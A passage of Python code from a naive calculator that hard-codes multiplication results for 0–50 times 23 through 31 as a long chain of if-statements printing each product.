secondNum == 23 : print("38 * 23 = 874") if firstNum == 39 and sign == "*" and secondNum == 23 : print("39 * 23 = 897") if firstNum == 40 and sign == "*" and secondNum == 23 : print("40 * 23 = 920") if firstNum == 41 and sign == "*" and secondNum == 23 : print("41 * 23 = 943") if firstNum == 42 and sign == "*" and secondNum == 23 : print("42 * 23 = 966") if firstNum == 43 and sign == "*" and secondNum == 23 : print("43 * 23 = 989") if firstNum == 44 and sign == "*" and secondNum == 23 : print("44 * 23 = 1012") if firstNum == 45 and sign == "*" and secondNum == 23 : print("45 * 23 = 1035") if firstNum == 46 and sign == "*" and secondNum == 23 : print("46 * 23 = 1058") if firstNum == 47 and sign == "*" and secondNum == 23 : print("47 * 23 = 1081") if firstNum == 48 and sign == "*" and secondNum == 23 : print("48 * 23 = 1104") if firstNum == 49 and sign == "*" and secondNum == 23 : print("49 * 23 = 1127") if firstNum == 50 and sign == "*" and secondNum == 23 : print("50 * 23 = 1150") if firstNum == 0 and sign == "*" and secondNum == 24 : print("0 * 24 = 0") if firstNum == 1 and sign == "*" and secondNum == 24 : print("1 * 24 = 24") if firstNum == 2 and sign == "*" and secondNum == 24 : print("2 * 24 = 48") if firstNum == 3 and sign == "*" and secondNum == 24 : print("3 * 24 = 72") if firstNum == 4 and sign == "*" and secondNum == 24 : print("4 * 24 = 96") if firstNum == 5 and sign == "*" and secondNum == 24 : print("5 * 24 = 120") if firstNum == 6 and sign == "*" and secondNum == 24 : print("6 * 24 = 144") if firstNum == 7 and sign == "*" and secondNum == 24 : print("7 * 24 = 168") if firstNum == 8 and sign == "*" and secondNum == 24 : print("8 * 24 = 192") if firstNum == 9 and sign == "*" and secondNum == 24 : print("9 * 24 = 216") if firstNum == 10 and sign == "*" and secondNum == 24 : print("10 * 24 = 240") if firstNum == 11 and sign == "*" and secondNum == 24 : print("11 * 24 = 264") if firstNum == 12 and sign == "*" and secondNum == 24 : print("12 * 24 = 288") if firstNum == 13 and sign == "*" and secondNum == 24 : print("13 * 24 = 312") if firstNum == 14 and sign == "*" and secondNum == 24 : print("14 * 24 = 336") if firstNum == 15 and sign == "*" and secondNum == 24 : print("15 * 24 = 360") if firstNum == 16 and sign == "*" and secondNum == 24 : print("16 * 24 = 384") if firstNum == 17 and sign == "*" and secondNum == 24 : print("17 * 24 = 408") if firstNum == 18 and sign == "*" and secondNum == 24 : print("18 * 24 = 432") if firstNum == 19 and sign == "*" and secondNum == 24 : print("19 * 24 = 456") if firstNum == 20 and sign == "*" and secondNum == 24 : print("20 * 24 = 480") if firstNum == 21 and sign == "*" and secondNum == 24 : print("21 * 24 = 504") if firstNum == 22 and sign == "*" and secondNum == 24 : print("22 * 24 = 528") if firstNum == 23 and sign == "*" and secondNum == 24 : print("23 * 24 = 552") if firstNum == 24 and sign == "*" and secondNum == 24 : print("24 * 24 = 576") if firstNum == 25 and sign == "*" and secondNum == 24 : print("25 * 24 = 600") if firstNum == 26 and sign == "*" and secondNum == 24 : print("26 * 24 = 624") if firstNum == 27 and sign == "*" and secondNum == 24 : print("27 * 24 = 648") if firstNum == 28 and sign == "*" and secondNum == 24 : print("28 * 24 = 672") if firstNum == 29 and sign == "*" and secondNum == 24 : print("29 * 24 = 696") if firstNum == 30 and sign == "*" and secondNum == 24 : print("30 * 24 = 720") if firstNum == 31 and sign == "*" and secondNum == 24 : print("31 * 24 = 744") if firstNum == 32 and sign == "*" and secondNum == 24 : print("32 * 24 = 768") if firstNum == 33 and sign == "*" and secondNum == 24 : print("33 * 24 = 792") if firstNum == 34 and sign == "*" and secondNum == 24 : print("34 * 24 = 816") if firstNum == 35 and sign == "*" and secondNum == 24 : print("35 * 24 = 840") if firstNum == 36 and sign == "*" and secondNum == 24 : print("36 * 24 = 864") if firstNum == 37 and sign == "*" and secondNum == 24 : print("37 * 24 = 888") if firstNum == 38 and sign == "*" and secondNum == 24 : print("38 * 24 = 912") if firstNum == 39 and sign == "*" and secondNum == 24 : print("39 * 24 = 936") if firstNum == 40 and sign == "*" and secondNum == 24 : print("40 * 24 = 960") if firstNum == 41 and sign == "*" and secondNum == 24 : print("41 * 24 = 984") if firstNum == 42 and sign == "*" and secondNum == 24 : print("42 * 24 = 1008") if firstNum == 43 and sign == "*" and secondNum == 24 : print("43 * 24 = 1032") if firstNum == 44 and sign == "*" and secondNum == 24 : print("44 * 24 = 1056") if firstNum == 45 and sign == "*" and secondNum == 24 : print("45 * 24 = 1080") if firstNum == 46 and sign == "*" and secondNum == 24 : print("46 * 24 = 1104") if firstNum == 47 and sign == "*" and secondNum == 24 : print("47 * 24 = 1128") if firstNum == 48 and sign == "*" and secondNum == 24 : print("48 * 24 = 1152") if firstNum == 49 and sign == "*" and secondNum == 24 : print("49 * 24 = 1176") if firstNum == 50 and sign == "*" and secondNum == 24 : print("50 * 24 = 1200") if firstNum == 0 and sign == "*" and secondNum == 25 : print("0 * 25 = 0") if firstNum == 1 and sign == "*" and secondNum == 25 : print("1 * 25 = 25") if firstNum == 2 and sign == "*" and secondNum == 25 : print("2 * 25 = 50") if firstNum == 3 and sign == "*" and secondNum == 25 : print("3 * 25 = 75") if firstNum == 4 and sign == "*" and secondNum == 25 : print("4 * 25 = 100") if firstNum == 5 and sign == "*" and secondNum == 25 : print("5 * 25 = 125") if firstNum == 6 and sign == "*" and secondNum == 25 : print("6 * 25 = 150") if firstNum == 7 and sign == "*" and secondNum == 25 : print("7 * 25 = 175") if firstNum == 8 and sign == "*" and secondNum == 25 : print("8 * 25 = 200") if firstNum == 9 and sign == "*" and secondNum == 25 : print("9 * 25 = 225") if firstNum == 10 and sign == "*" and secondNum == 25 : print("10 * 25 = 250") if firstNum == 11 and sign == "*" and secondNum == 25 : print("11 * 25 = 275") if firstNum == 12 and sign == "*" and secondNum == 25 : print("12 * 25 = 300") if firstNum == 13 and sign == "*" and secondNum == 25 : print("13 * 25 = 325") if firstNum == 14 and sign == "*" and secondNum == 25 : print("14 * 25 = 350") if firstNum == 15 and sign == "*" and secondNum == 25 : print("15 * 25 = 375") if firstNum == 16 and sign == "*" and secondNum == 25 : print("16 * 25 = 400") if firstNum == 17 and sign == "*" and secondNum == 25 : print("17 * 25 = 425") if firstNum == 18 and sign == "*" and secondNum == 25 : print("18 * 25 = 450") if firstNum == 19 and sign == "*" and secondNum == 25 : print("19 * 25 = 475") if firstNum == 20 and sign == "*" and secondNum == 25 : print("20 * 25 = 500") if firstNum == 21 and sign == "*" and secondNum == 25 : print("21 * 25 = 525") if firstNum == 22 and sign == "*" and secondNum == 25 : print("22 * 25 = 550") if firstNum == 23 and sign == "*" and secondNum == 25 : print("23 * 25 = 575") if firstNum == 24 and sign == "*" and secondNum == 25 : print("24 * 25 = 600") if firstNum == 25 and sign == "*" and secondNum == 25 : print("25 * 25 = 625") if firstNum == 26 and sign == "*" and secondNum == 25 : print("26 * 25 = 650") if firstNum == 27 and sign == "*" and secondNum == 25 : print("27 * 25 = 675") if firstNum == 28 and sign == "*" and secondNum == 25 : print("28 * 25 = 700") if firstNum == 29 and sign == "*" and secondNum == 25 : print("29 * 25 = 725") if firstNum == 30 and sign == "*" and secondNum == 25 : print("30 * 25 = 750") if firstNum == 31 and sign == "*" and secondNum == 25 : print("31 * 25 = 775") if firstNum == 32 and sign == "*" and secondNum == 25 : print("32 * 25 = 800") if firstNum == 33 and sign == "*" and secondNum == 25 : print("33 * 25 = 825") if firstNum == 34 and sign == "*" and secondNum == 25 : print("34 * 25 = 850") if firstNum == 35 and sign == "*" and secondNum == 25 : print("35 * 25 = 875") if firstNum == 36 and sign == "*" and secondNum == 25 : print("36 * 25 = 900") if firstNum == 37 and sign == "*" and secondNum == 25 : print("37 * 25 = 925") if firstNum == 38 and sign == "*" and secondNum == 25 : print("38 * 25 = 950") if firstNum == 39 and sign == "*" and secondNum == 25 : print("39 * 25 = 975") if firstNum == 40 and sign == "*" and secondNum == 25 : print("40 * 25 = 1000") if firstNum == 41 and sign == "*" and secondNum == 25 : print("41 * 25 = 1025") if firstNum == 42 and sign == "*" and secondNum == 25 : print("42 * 25 = 1050") if firstNum == 43 and sign == "*" and secondNum == 25 : print("43 * 25 = 1075") if firstNum == 44 and sign == "*" and secondNum == 25 : print("44 * 25 = 1100") if firstNum == 45 and sign == "*" and secondNum == 25 : print("45 * 25 = 1125") if firstNum == 46 and sign == "*" and secondNum == 25 : print("46 * 25 = 1150") if firstNum == 47 and sign == "*" and secondNum == 25 : print("47 * 25 = 1175") if firstNum == 48 and sign == "*" and secondNum == 25 : print("48 * 25 = 1200") if firstNum == 49 and sign == "*" and secondNum == 25 : print("49 * 25 = 1225") if firstNum == 50 and sign == "*" and secondNum == 25 : print("50 * 25 = 1250") if firstNum == 0 and sign == "*" and secondNum == 26 : print("0 * 26 = 0") if firstNum == 1 and sign == "*" and secondNum == 26 : print("1 * 26 = 26") if firstNum == 2 and sign == "*" and secondNum == 26 : print("2 * 26 = 52") if firstNum == 3 and sign == "*" and secondNum == 26 : print("3 * 26 = 78") if firstNum == 4 and sign == "*" and secondNum == 26 : print("4 * 26 = 104") if firstNum == 5 and sign == "*" and secondNum == 26 : print("5 * 26 = 130") if firstNum == 6 and sign == "*" and secondNum == 26 : print("6 * 26 = 156") if firstNum == 7 and sign == "*" and secondNum == 26 : print("7 * 26 = 182") if firstNum == 8 and sign == "*" and secondNum == 26 : print("8 * 26 = 208") if firstNum == 9 and sign == "*" and secondNum == 26 : print("9 * 26 = 234") if firstNum == 10 and sign == "*" and secondNum == 26 : print("10 * 26 = 260") if firstNum == 11 and sign == "*" and secondNum == 26 : print("11 * 26 = 286") if firstNum == 12 and sign == "*" and secondNum == 26 : print("12 * 26 = 312") if firstNum == 13 and sign == "*" and secondNum == 26 : print("13 * 26 = 338") if firstNum == 14 and sign == "*" and secondNum == 26 : print("14 * 26 = 364") if firstNum == 15 and sign == "*" and secondNum == 26 : print("15 * 26 = 390") if firstNum == 16 and sign == "*" and secondNum == 26 : print("16 * 26 = 416") if firstNum == 17 and sign == "*" and secondNum == 26 : print("17 * 26 = 442") if firstNum == 18 and sign == "*" and secondNum == 26 : print("18 * 26 = 468") if firstNum == 19 and sign == "*" and secondNum == 26 : print("19 * 26 = 494") if firstNum == 20 and sign == "*" and secondNum == 26 : print("20 * 26 = 520") if firstNum == 21 and sign == "*" and secondNum == 26 : print("21 * 26 = 546") if firstNum == 22 and sign == "*" and secondNum == 26 : print("22 * 26 = 572") if firstNum == 23 and sign == "*" and secondNum == 26 : print("23 * 26 = 598") if firstNum == 24 and sign == "*" and secondNum == 26 : print("24 * 26 = 624") if firstNum == 25 and sign == "*" and secondNum == 26 : print("25 * 26 = 650") if firstNum == 26 and sign == "*" and secondNum == 26 : print("26 * 26 = 676") if firstNum == 27 and sign == "*" and secondNum == 26 : print("27 * 26 = 702") if firstNum == 28 and sign == "*" and secondNum == 26 : print("28 * 26 = 728") if firstNum == 29 and sign == "*" and secondNum == 26 : print("29 * 26 = 754") if firstNum == 30 and sign == "*" and secondNum == 26 : print("30 * 26 = 780") if firstNum == 31 and sign == "*" and secondNum == 26 : print("31 * 26 = 806") if firstNum == 32 and sign == "*" and secondNum == 26 : print("32 * 26 = 832") if firstNum == 33 and sign == "*" and secondNum == 26 : print("33 * 26 = 858") if firstNum == 34 and sign == "*" and secondNum == 26 : print("34 * 26 = 884") if firstNum == 35 and sign == "*" and secondNum == 26 : print("35 * 26 = 910") if firstNum == 36 and sign == "*" and secondNum == 26 : print("36 * 26 = 936") if firstNum == 37 and sign == "*" and secondNum == 26 : print("37 * 26 = 962") if firstNum == 38 and sign == "*" and secondNum == 26 : print("38 * 26 = 988") if firstNum == 39 and sign == "*" and secondNum == 26 : print("39 * 26 = 1014") if firstNum == 40 and sign == "*" and secondNum == 26 : print("40 * 26 = 1040") if firstNum == 41 and sign == "*" and secondNum == 26 : print("41 * 26 = 1066") if firstNum == 42 and sign == "*" and secondNum == 26 : print("42 * 26 = 1092") if firstNum == 43 and sign == "*" and secondNum == 26 : print("43 * 26 = 1118") if firstNum == 44 and sign == "*" and secondNum == 26 : print("44 * 26 = 1144") if firstNum == 45 and sign == "*" and secondNum == 26 : print("45 * 26 = 1170") if firstNum == 46 and sign == "*" and secondNum == 26 : print("46 * 26 = 1196") if firstNum == 47 and sign == "*" and secondNum == 26 : print("47 * 26 = 1222") if firstNum == 48 and sign == "*" and secondNum == 26 : print("48 * 26 = 1248") if firstNum == 49 and sign == "*" and secondNum == 26 : print("49 * 26 = 1274") if firstNum == 50 and sign == "*" and secondNum == 26 : print("50 * 26 = 1300") if firstNum == 0 and sign == "*" and secondNum == 27 : print("0 * 27 = 0") if firstNum == 1 and sign == "*" and secondNum == 27 : print("1 * 27 = 27") if firstNum == 2 and sign == "*" and secondNum == 27 : print("2 * 27 = 54") if firstNum == 3 and sign == "*" and secondNum == 27 : print("3 * 27 = 81") if firstNum == 4 and sign == "*" and secondNum == 27 : print("4 * 27 = 108") if firstNum == 5 and sign == "*" and secondNum == 27 : print("5 * 27 = 135") if firstNum == 6 and sign == "*" and secondNum == 27 : print("6 * 27 = 162") if firstNum == 7 and sign == "*" and secondNum == 27 : print("7 * 27 = 189") if firstNum == 8 and sign == "*" and secondNum == 27 : print("8 * 27 = 216") if firstNum == 9 and sign == "*" and secondNum == 27 : print("9 * 27 = 243") if firstNum == 10 and sign == "*" and secondNum == 27 : print("10 * 27 = 270") if firstNum == 11 and sign == "*" and secondNum == 27 : print("11 * 27 = 297") if firstNum == 12 and sign == "*" and secondNum == 27 : print("12 * 27 = 324") if firstNum == 13 and sign == "*" and secondNum == 27 : print("13 * 27 = 351") if firstNum == 14 and sign == "*" and secondNum == 27 : print("14 * 27 = 378") if firstNum == 15 and sign == "*" and secondNum == 27 : print("15 * 27 = 405") if firstNum == 16 and sign == "*" and secondNum == 27 : print("16 * 27 = 432") if firstNum == 17 and sign == "*" and secondNum == 27 : print("17 * 27 = 459") if firstNum == 18 and sign == "*" and secondNum == 27 : print("18 * 27 = 486") if firstNum == 19 and sign == "*" and secondNum == 27 : print("19 * 27 = 513") if firstNum == 20 and sign == "*" and secondNum == 27 : print("20 * 27 = 540") if firstNum == 21 and sign == "*" and secondNum == 27 : print("21 * 27 = 567") if firstNum == 22 and sign == "*" and secondNum == 27 : print("22 * 27 = 594") if firstNum == 23 and sign == "*" and secondNum == 27 : print("23 * 27 = 621") if firstNum == 24 and sign == "*" and secondNum == 27 : print("24 * 27 = 648") if firstNum == 25 and sign == "*" and secondNum == 27 : print("25 * 27 = 675") if firstNum == 26 and sign == "*" and secondNum == 27 : print("26 * 27 = 702") if firstNum == 27 and sign == "*" and secondNum == 27 : print("27 * 27 = 729") if firstNum == 28 and sign == "*" and secondNum == 27 : print("28 * 27 = 756") if firstNum == 29 and sign == "*" and secondNum == 27 : print("29 * 27 = 783") if firstNum == 30 and sign == "*" and secondNum == 27 : print("30 * 27 = 810") if firstNum == 31 and sign == "*" and secondNum == 27 : print("31 * 27 = 837") if firstNum == 32 and sign == "*" and secondNum == 27 : print("32 * 27 = 864") if firstNum == 33 and sign == "*" and secondNum == 27 : print("33 * 27 = 891") if firstNum == 34 and sign == "*" and secondNum == 27 : print("34 * 27 = 918") if firstNum == 35 and sign == "*" and secondNum == 27 : print("35 * 27 = 945") if firstNum == 36 and sign == "*" and secondNum == 27 : print("36 * 27 = 972") if firstNum == 37 and sign == "*" and secondNum == 27 : print("37 * 27 = 999") if firstNum == 38 and sign == "*" and secondNum == 27 : print("38 * 27 = 1026") if firstNum == 39 and sign == "*" and secondNum == 27 : print("39 * 27 = 1053") if firstNum == 40 and sign == "*" and secondNum == 27 : print("40 * 27 = 1080") if firstNum == 41 and sign == "*" and secondNum == 27 : print("41 * 27 = 1107") if firstNum == 42 and sign == "*" and secondNum == 27 : print("42 * 27 = 1134") if firstNum == 43 and sign == "*" and secondNum == 27 : print("43 * 27 = 1161") if firstNum == 44 and sign == "*" and secondNum == 27 : print("44 * 27 = 1188") if firstNum == 45 and sign == "*" and secondNum == 27 : print("45 * 27 = 1215") if firstNum == 46 and sign == "*" and secondNum == 27 : print("46 * 27 = 1242") if firstNum == 47 and sign == "*" and secondNum == 27 : print("47 * 27 = 1269") if firstNum == 48 and sign == "*" and secondNum == 27 : print("48 * 27 = 1296") if firstNum == 49 and sign == "*" and secondNum == 27 : print("49 * 27 = 1323") if firstNum == 50 and sign == "*" and secondNum == 27 : print("50 * 27 = 1350") if firstNum == 0 and sign == "*" and secondNum == 28 : print("0 * 28 = 0") if firstNum == 1 and sign == "*" and secondNum == 28 : print("1 * 28 = 28") if firstNum == 2 and sign == "*" and secondNum == 28 : print("2 * 28 = 56") if firstNum == 3 and sign == "*" and secondNum == 28 : print("3 * 28 = 84") if firstNum == 4 and sign == "*" and secondNum == 28 : print("4 * 28 = 112") if firstNum == 5 and sign == "*" and secondNum == 28 : print("5 * 28 = 140") if firstNum == 6 and sign == "*" and secondNum == 28 : print("6 * 28 = 168") if firstNum == 7 and sign == "*" and secondNum == 28 : print("7 * 28 = 196") if firstNum == 8 and sign == "*" and secondNum == 28 : print("8 * 28 = 224") if firstNum == 9 and sign == "*" and secondNum == 28 : print("9 * 28 = 252") if firstNum == 10 and sign == "*" and secondNum == 28 : print("10 * 28 = 280") if firstNum == 11 and sign == "*" and secondNum == 28 : print("11 * 28 = 308") if firstNum == 12 and sign == "*" and secondNum == 28 : print("12 * 28 = 336") if firstNum == 13 and sign == "*" and secondNum == 28 : print("13 * 28 = 364") if firstNum == 14 and sign == "*" and secondNum == 28 : print("14 * 28 = 392") if firstNum == 15 and sign == "*" and secondNum == 28 : print("15 * 28 = 420") if firstNum == 16 and sign == "*" and secondNum == 28 : print("16 * 28 = 448") if firstNum == 17 and sign == "*" and secondNum == 28 : print("17 * 28 = 476") if firstNum == 18 and sign == "*" and secondNum == 28 : print("18 * 28 = 504") if firstNum == 19 and sign == "*" and secondNum == 28 : print("19 * 28 = 532") if firstNum == 20 and sign == "*" and secondNum == 28 : print("20 * 28 = 560") if firstNum == 21 and sign == "*" and secondNum == 28 : print("21 * 28 = 588") if firstNum == 22 and sign == "*" and secondNum == 28 : print("22 * 28 = 616") if firstNum == 23 and sign == "*" and secondNum == 28 : print("23 * 28 = 644") if firstNum == 24 and sign == "*" and secondNum == 28 : print("24 * 28 = 672") if firstNum == 25 and sign == "*" and secondNum == 28 : print("25 * 28 = 700") if firstNum == 26 and sign == "*" and secondNum == 28 : print("26 * 28 = 728") if firstNum == 27 and sign == "*" and secondNum == 28 : print("27 * 28 = 756") if firstNum == 28 and sign == "*" and secondNum == 28 : print("28 * 28 = 784") if firstNum == 29 and sign == "*" and secondNum == 28 : print("29 * 28 = 812") if firstNum == 30 and sign == "*" and secondNum == 28 : print("30 * 28 = 840") if firstNum == 31 and sign == "*" and secondNum == 28 : print("31 * 28 = 868") if firstNum == 32 and sign == "*" and secondNum == 28 : print("32 * 28 = 896") if firstNum == 33 and sign == "*" and secondNum == 28 : print("33 * 28 = 924") if firstNum == 34 and sign == "*" and secondNum == 28 : print("34 * 28 = 952") if firstNum == 35 and sign == "*" and secondNum == 28 : print("35 * 28 = 980") if firstNum == 36 and sign == "*" and secondNum == 28 : print("36 * 28 = 1008") if firstNum == 37 and sign == "*" and secondNum == 28 : print("37 * 28 = 1036") if firstNum == 38 and sign == "*" and secondNum == 28 : print("38 * 28 = 1064") if firstNum == 39 and sign == "*" and secondNum == 28 : print("39 * 28 = 1092") if firstNum == 40 and sign == "*" and secondNum == 28 : print("40 * 28 = 1120") if firstNum == 41 and sign == "*" and secondNum == 28 : print("41 * 28 = 1148") if firstNum == 42 and sign == "*" and secondNum == 28 : print("42 * 28 = 1176") if firstNum == 43 and sign == "*" and secondNum == 28 : print("43 * 28 = 1204") if firstNum == 44 and sign == "*" and secondNum == 28 : print("44 * 28 = 1232") if firstNum == 45 and sign == "*" and secondNum == 28 : print("45 * 28 = 1260") if firstNum == 46 and sign == "*" and secondNum == 28 : print("46 * 28 = 1288") if firstNum == 47 and sign == "*" and secondNum == 28 : print("47 * 28 = 1316") if firstNum == 48 and sign == "*" and secondNum == 28 : print("48 * 28 = 1344") if firstNum == 49 and sign == "*" and secondNum == 28 : print("49 * 28 = 1372") if firstNum == 50 and sign == "*" and secondNum == 28 : print("50 * 28 = 1400") if firstNum == 0 and sign == "*" and secondNum == 29 : print("0 * 29 = 0") if firstNum == 1 and sign == "*" and secondNum == 29 : print("1 * 29 = 29") if firstNum == 2 and sign == "*" and secondNum == 29 : print("2 * 29 = 58") if firstNum == 3 and sign == "*" and secondNum == 29 : print("3 * 29 = 87") if firstNum == 4 and sign == "*" and secondNum == 29 : print("4 * 29 = 116") if firstNum == 5 and sign == "*" and secondNum == 29 : print("5 * 29 = 145") if firstNum == 6 and sign == "*" and secondNum == 29 : print("6 * 29 = 174") if firstNum == 7 and sign == "*" and secondNum == 29 : print("7 * 29 = 203") if firstNum == 8 and sign == "*" and secondNum == 29 : print("8 * 29 = 232") if firstNum == 9 and sign == "*" and secondNum == 29 : print("9 * 29 = 261") if firstNum == 10 and sign == "*" and secondNum == 29 : print("10 * 29 = 290") if firstNum == 11 and sign == "*" and secondNum == 29 : print("11 * 29 = 319") if firstNum == 12 and sign == "*" and secondNum == 29 : print("12 * 29 = 348") if firstNum == 13 and sign == "*" and secondNum == 29 : print("13 * 29 = 377") if firstNum == 14 and sign == "*" and secondNum == 29 : print("14 * 29 = 406") if firstNum == 15 and sign == "*" and secondNum == 29 : print("15 * 29 = 435") if firstNum == 16 and sign == "*" and secondNum == 29 : print("16 * 29 = 464") if firstNum == 17 and sign == "*" and secondNum == 29 : print("17 * 29 = 493") if firstNum == 18 and sign == "*" and secondNum == 29 : print("18 * 29 = 522") if firstNum == 19 and sign == "*" and secondNum == 29 : print("19 * 29 = 551") if firstNum == 20 and sign == "*" and secondNum == 29 : print("20 * 29 = 580") if firstNum == 21 and sign == "*" and secondNum == 29 : print("21 * 29 = 609") if firstNum == 22 and sign == "*" and secondNum == 29 : print("22 * 29 = 638") if firstNum == 23 and sign == "*" and secondNum == 29 : print("23 * 29 = 667") if firstNum == 24 and sign == "*" and secondNum == 29 : print("24 * 29 = 696") if firstNum == 25 and sign == "*" and secondNum == 29 : print("25 * 29 = 725") if firstNum == 26 and sign == "*" and secondNum == 29 : print("26 * 29 = 754") if firstNum == 27 and sign == "*" and secondNum == 29 : print("27 * 29 = 783") if firstNum == 28 and sign == "*" and secondNum == 29 : print("28 * 29 = 812") if firstNum == 29 and sign == "*" and secondNum == 29 : print("29 * 29 = 841") if firstNum == 30 and sign == "*" and secondNum == 29 : print("30 * 29 = 870") if firstNum == 31 and sign == "*" and secondNum == 29 : print("31 * 29 = 899") if firstNum == 32 and sign == "*" and secondNum == 29 : print("32 * 29 = 928") if firstNum == 33 and sign == "*" and secondNum == 29 : print("33 * 29 = 957") if firstNum == 34 and sign == "*" and secondNum == 29 : print("34 * 29 = 986") if firstNum == 35 and sign == "*" and secondNum == 29 : print("35 * 29 = 1015") if firstNum == 36 and sign == "*" and secondNum == 29 : print("36 * 29 = 1044") if firstNum == 37 and sign == "*" and secondNum == 29 : print("37 * 29 = 1073") if firstNum == 38 and sign == "*" and secondNum == 29 : print("38 * 29 = 1102") if firstNum == 39 and sign == "*" and secondNum == 29 : print("39 * 29 = 1131") if firstNum == 40 and sign == "*" and secondNum == 29 : print("40 * 29 = 1160") if firstNum == 41 and sign == "*" and secondNum == 29 : print("41 * 29 = 1189") if firstNum == 42 and sign == "*" and secondNum == 29 : print("42 * 29 = 1218") if firstNum == 43 and sign == "*" and secondNum == 29 : print("43 * 29 = 1247") if firstNum == 44 and sign == "*" and secondNum == 29 : print("44 * 29 = 1276") if firstNum == 45 and sign == "*" and secondNum == 29 : print("45 * 29 = 1305") if firstNum == 46 and sign == "*" and secondNum == 29 : print("46 * 29 = 1334") if firstNum == 47 and sign == "*" and secondNum == 29 : print("47 * 29 = 1363") if firstNum == 48 and sign == "*" and secondNum == 29 : print("48 * 29 = 1392") if firstNum == 49 and sign == "*" and secondNum == 29 : print("49 * 29 = 1421") if firstNum == 50 and sign == "*" and secondNum == 29 : print("50 * 29 = 1450") if firstNum == 0 and sign == "*" and secondNum == 30 : print("0 * 30 = 0") if firstNum == 1 and sign == "*" and secondNum == 30 : print("1 * 30 = 30") if firstNum == 2 and sign == "*" and secondNum == 30 : print("2 * 30 = 60") if firstNum == 3 and sign == "*" and secondNum == 30 : print("3 * 30 = 90") if firstNum == 4 and sign == "*" and secondNum == 30 : print("4 * 30 = 120") if firstNum == 5 and sign == "*" and secondNum == 30 : print("5 * 30 = 150") if firstNum == 6 and sign == "*" and secondNum == 30 : print("6 * 30 = 180") if firstNum == 7 and sign == "*" and secondNum == 30 : print("7 * 30 = 210") if firstNum == 8 and sign == "*" and secondNum == 30 : print("8 * 30 = 240") if firstNum == 9 and sign == "*" and secondNum == 30 : print("9 * 30 = 270") if firstNum == 10 and sign == "*" and secondNum == 30 : print("10 * 30 = 300") if firstNum == 11 and sign == "*" and secondNum == 30 : print("11 * 30 = 330") if firstNum == 12 and sign == "*" and secondNum == 30 : print("12 * 30 = 360") if firstNum == 13 and sign == "*" and secondNum == 30 : print("13 * 30 = 390") if firstNum == 14 and sign == "*" and secondNum == 30 : print("14 * 30 = 420") if firstNum == 15 and sign == "*" and secondNum == 30 : print("15 * 30 = 450") if firstNum == 16 and sign == "*" and secondNum == 30 : print("16 * 30 = 480") if firstNum == 17 and sign == "*" and secondNum == 30 : print("17 * 30 = 510") if firstNum == 18 and sign == "*" and secondNum == 30 : print("18 * 30 = 540") if firstNum == 19 and sign == "*" and secondNum == 30 : print("19 * 30 = 570") if firstNum == 20 and sign == "*" and secondNum == 30 : print("20 * 30 = 600") if firstNum == 21 and sign == "*" and secondNum == 30 : print("21 * 30 = 630") if firstNum == 22 and sign == "*" and secondNum == 30 : print("22 * 30 = 660") if firstNum == 23 and sign == "*" and secondNum == 30 : print("23 * 30 = 690") if firstNum == 24 and sign == "*" and secondNum == 30 : print("24 * 30 = 720") if firstNum == 25 and sign == "*" and secondNum == 30 : print("25 * 30 = 750") if firstNum == 26 and sign == "*" and secondNum == 30 : print("26 * 30 = 780") if firstNum == 27 and sign == "*" and secondNum == 30 : print("27 * 30 = 810") if firstNum == 28 and sign == "*" and secondNum == 30 : print("28 * 30 = 840") if firstNum == 29 and sign == "*" and secondNum == 30 : print("29 * 30 = 870") if firstNum == 30 and sign == "*" and secondNum == 30 : print("30 * 30 = 900") if firstNum == 31 and sign == "*" and secondNum == 30 : print("31 * 30 = 930") if firstNum == 32 and sign == "*" and secondNum == 30 : print("32 * 30 = 960") if firstNum == 33 and sign == "*" and secondNum == 30 : print("33 * 30 = 990") if firstNum == 34 and sign == "*" and secondNum == 30 : print("34 * 30 = 1020") if firstNum == 35 and sign == "*" and secondNum == 30 : print("35 * 30 = 1050") if firstNum == 36 and sign == "*" and secondNum == 30 : print("36 * 30 = 1080") if firstNum == 37 and sign == "*" and secondNum == 30 : print("37 * 30 = 1110") if firstNum == 38 and sign == "*" and secondNum == 30 : print("38 * 30 = 1140") if firstNum == 39 and sign == "*" and secondNum == 30 : print("39 * 30 = 1170") if firstNum == 40 and sign == "*" and secondNum == 30 : print("40 * 30 = 1200") if firstNum == 41 and sign == "*" and secondNum == 30 : print("41 * 30 = 1230") if firstNum == 42 and sign == "*" and secondNum == 30 : print("42 * 30 = 1260") if firstNum == 43 and sign == "*" and secondNum == 30 : print("43 * 30 = 1290") if firstNum == 44 and sign == "*" and secondNum == 30 : print("44 * 30 = 1320") if firstNum == 45 and sign == "*" and secondNum == 30 : print("45 * 30 = 1350") if firstNum == 46 and sign == "*" and secondNum == 30 : print("46 * 30 = 1380") if firstNum == 47 and sign == "*" and secondNum == 30 : print("47 * 30 = 1410") if firstNum == 48 and sign == "*" and secondNum == 30 : print("48 * 30 = 1440") if firstNum == 49 and sign == "*" and secondNum == 30 : print("49 * 30 = 1470") if firstNum == 50 and sign == "*" and secondNum == 30 : print("50 * 30 = 1500") if firstNum == 0 and sign == "*" and secondNum == 31 : print("0 * 31 = 0") if firstNum == 1 and sign == "*" and secondNum == 31 : print("1 * 31 = 31") if firstNum == 2 and sign == "*" and secondNum == 31 : print("2 * 31 = 62") if firstNum == 3 and sign == "*" and secondNum == 31 : print("3 * 31 = 93") if firstNum == 4 and sign == "*" and secondNum == 31 : print("4 * 31 = 124") if firstNum == 5 and sign == "*" and secondNum == 31 : print("5 * 31 = 155") if firstNum == 6 and sign == "*" and secondNum == 31 : print("6 * 31 = 186") if firstNum == 7 and sign == "*" and secondNum == 31 : print("7 * 31 = 217") if firstNum == 8 and sign == "*" and secondNum == 31 : print("8 * 31 = 248") if firstNum == 9 and sign == "*" and secondNum == 31 : print("9 * 31 = 279") if firstNum == 10 and sign == "*" and secondNum == 31 : print("10 * 31 = 310") if firstNum == 11 and sign == "*" and secondNum == 31 : print("11 * 31 = 341") if firstNum == 12 and sign == "*" and secondNum == 31 : print("12 * 31 = 372") if firstNum == 13 and sign == "*" and secondNum == 31 : print("13 * 31 = 403") if firstNum == 14 and sign == "*" and secondNum == 31 : print("14 * 31 = 434") if firstNum == 15 and sign == "*" and secondNum == 31 : print("15 * 31 = 465") if firstNum == 16 and sign == "*" and secondNum == 31 : print("16 * 31 = 496") if firstNum == 17 and sign == "*" and secondNum == 31 : print("17 * 31 = 527") if firstNum == 18 and sign == "*" and secondNum == 31 : print("18 * 31 = 558") if firstNum == 19 and sign == "*" and secondNum == 31 : print("19 * 31 = 589") if firstNum == 20 and sign == "*" and secondNum == 31 : print("20 * 31 = 620") if firstNum == 21 and sign == "*" and secondNum == 31 : print("21 * 31 = 651") if firstNum == 22 and sign == "*" and 